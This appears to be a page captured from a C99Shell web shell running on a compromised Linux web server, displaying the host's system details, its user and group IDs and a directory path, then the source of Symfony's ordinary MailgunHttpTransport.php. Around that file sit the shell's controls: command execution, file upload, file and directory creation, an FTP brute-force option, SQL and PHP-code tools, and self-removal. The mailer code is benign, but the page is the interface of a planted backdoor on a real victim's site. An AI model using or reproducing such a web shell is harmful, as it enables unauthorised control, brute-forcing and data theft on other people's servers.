!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/symfony/mailgun-mailer/Transport/   drwxr-xr-x
Free 28.68 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MailgunHttpTransport.php (3.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mailer\Bridge\Mailgun\Transport;

use 
Psr\EventDispatcher\EventDispatcherInterface;
use 
Psr\Log\LoggerInterface;
use 
Symfony\Component\Mailer\Exception\HttpTransportException;
use 
Symfony\Component\Mailer\SentMessage;
use 
Symfony\Component\Mailer\Transport\AbstractHttpTransport;
use 
Symfony\Component\Mime\Part\DataPart;
use 
Symfony\Component\Mime\Part\Multipart\FormDataPart;
use 
Symfony\Contracts\HttpClient\Exception\DecodingExceptionInterface;
use 
Symfony\Contracts\HttpClient\Exception\TransportExceptionInterface;
use 
Symfony\Contracts\HttpClient\HttpClientInterface;
use 
Symfony\Contracts\HttpClient\ResponseInterface;

/**
 * @author Kevin Verschaeve
 */
class MailgunHttpTransport extends AbstractHttpTransport
{
    use 
MailgunHeadersTrait;

    private const 
HOST 'api.%region_dot%mailgun.net';

    private 
string $key;
    private 
string $domain;
    private ?
string $region;

    public function 
__construct(string $keystring $domainstring $region nullHttpClientInterface $client nullEventDispatcherInterface $dispatcher nullLoggerInterface $logger null)
    {
        
$this->key $key;
        
$this->domain $domain;
        
$this->region $region;

        
parent::__construct($client$dispatcher$logger);
    }

    public function 
__toString(): string
    
{
        return 
sprintf('mailgun+https://%s?domain=%s'$this->getEndpoint(), $this->domain);
    }

    protected function 
doSendHttp(SentMessage $message): ResponseInterface
    
{
        
$body = new FormDataPart([
            
'to' => implode(','$this->stringifyAddresses($message->getEnvelope()->getRecipients())),
            
'message' => new DataPart($message->toString(), 'message.mime'),
        ]);
        
$headers = [];
        foreach (
$body->getPreparedHeaders()->all() as $header) {
            
$headers[] = $header->toString();
        }

        
$endpoint sprintf('%s/v3/%s/messages.mime'$this->getEndpoint(), urlencode($this->domain));
        
$response $this->client->request('POST''https://'.$endpoint, [
            
'auth_basic' => 'api:'.$this->key,
            
'headers' => $headers,
            
'body' => $body->bodyToIterable(),
        ]);

        try {
            
$statusCode $response->getStatusCode();
            
$result $response->toArray(false);
        } catch (
DecodingExceptionInterface) {
            throw new 
HttpTransportException('Unable to send an email: '.$response->getContent(false).sprintf(' (code %d).'$statusCode), $response);
        } catch (
TransportExceptionInterface $e) {
            throw new 
HttpTransportException('Could not reach the remote Mailgun server.'$response0$e);
        }

        if (
200 !== $statusCode) {
            throw new 
HttpTransportException('Unable to send an email: '.$result['message'].sprintf(' (code %d).'$statusCode), $response);
        }

        
$message->setMessageId($result['id']);

        return 
$response;
    }

    private function 
getEndpoint(): ?string
    
{
        
$host $this->host ?: str_replace('%region_dot%''us' !== ($this->region ?: 'us') ? $this->region.'.' ''self::HOST);

        return 
$host.($this->port ':'.$this->port '');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0071 ]--